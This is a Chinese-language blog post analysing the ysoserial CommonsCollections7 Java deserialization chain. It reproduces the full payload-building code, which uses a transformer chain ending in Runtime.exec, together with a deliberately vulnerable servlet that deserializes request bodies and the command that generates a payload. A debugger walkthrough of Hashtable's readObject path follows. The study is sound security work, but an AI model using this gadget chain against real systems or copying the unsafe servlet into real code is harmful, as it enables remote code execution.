前言
学习CommonsCollections7反序列化链。
ysoserial中CC7 payload构造
CC7利用链中是使用Hashtable作为反序列化的入口点
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
前面依然是构造ChainedTransformer
对象,不作分析。
定义两个HashMap对象,并将他们绑定到LazyMap
上,给他们添加键值对。put进第一个LazyMap
的key为字符串yy
,put进第二个LazyMap
的key为字符串zZ
。
随后定义一个Hashtable
对象,将前面定义的两个LazyMap
对象作为key,put进Hashtable
对象。
最后再删除lazyMap2对象的key为yy
的数据。初始定义的lazyMap2
只put进一个键值对:
经过Hashtable
第二次put后,值变为如下:
随后将该Hashtable
作为序列化对象返回。
这里抛出几个疑问后续解决:
-
为什么需要put两个LazyMap对象;
-
为什么需要移除第二个lazymap的"yy"元素;
-
put进两个lazymap的"yy"和"zZ"字符串能否换成其他的字符串。
反序列化过程分析
1. 创建web项目
创建一个maven web项目,并创建一个servlet如下:
package com.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
pom.xml中添加commons-collections 3.1依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
使用yso生成calc命令的payload:
java -jar CommonsCollections7 calc > cc7.ser
利用burp发送payload,成功执行命令弹出计算器:
2. 反序列化链分析
反序列化的对象是Hashtable
,在Hashtable.readObject
方法处打上断点。
这里会调用reconstitutionPut
方法,从序列化数据中读取并赋值:
继续跟进一下:
Hashtable.reconstitutionPut
传入的tab
变量为Hashtable,现在其里面没有元素。
传入的key
变量为LazyMap
,就是我们构造序列化数据时的第一个LazyMap
。
计算LazyMap
的hashcode值,然后从tab
中取数据比较hash和equals
方法。这里tab为空,故不会进入该for循环。
随后将lazymap等值放入tab中:
第二次 Hashtable.reconstitutionPut
传入的tab
不为空了,在上一次操作中,已经对其进行了赋值。
传入的key
变量为LazyMap
,就是我们构造序列化数据时的第二个LazyMap
。
计算LazyMap
的hashcode值,然后从tab中取上一个lazymap的hashcode值,将其进行比较。
两个lazymap分别是:"yy"->1
;"zZ"->1
但是计算出来的hashcode值确实一样的,这里就满足if中第一个条件。
e为Hashtable
对象,e.key
为第一个lazymap,key为第二个lazymap。
进入equals
方法。
AbstractMapDecorator.equals()
LazyMap
没有equals
方法,所以进入其父类AbstractMapDecorator.equals()
方法。
object为第二个lazymap。
随后调用this.map.equals()
方法,this
是第一个lazymap对象,this.map
就是绑定到上面的HashMap
对象。这里进入HashMap
的父类AbstractMap.equals()
方法。
AbstractMap.equals()
变量o
为第二个lazymap对象。
将变量o
赋值给变量m
,在后面调用m.get()
方法,即LazyMap.get()
方法,lazymap上绑定了transformerChain
,这样就会触发连锁反应执行命令。
3. 问题
为什么需要put两个LazyMap对象
Hashtable.reconstitutionPut
方法是循环调用,如果只有一个元素,即第一次进入时,tab为空,是不会进入equals方法。
为什么需要移除第二个lazymap的"yy"元素
在AbstractMap.equals()
方法中,调用LazyMap.get(key)
方法,这是第二个lazymap,此时key
的值为yy
。如果不移除第二个lazymap的这个元素,就不满足连锁反应rce的条件(lazymap调用get方法时,key不存在)。
put进两个lazymap的"yy"和"zZ"字符串能否换成其他的字符串
在前面反序列化的分析过程中,需要满足两个lazymap的hashcode值一致,才能进入equals方法。
"yy"和"zZ"就是满足条件的一对,此外还有字符串"AaAaAa"和"BBAaBB"的hashcode也满足条件。
参考链接
https://www.cnblogs.com/nice0e3/p/13910833.html
https://blog.csdn.net/weixin_43818995/article/details/122283565
原文始发于微信公众号(信安文摘):【yso】- CC7反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论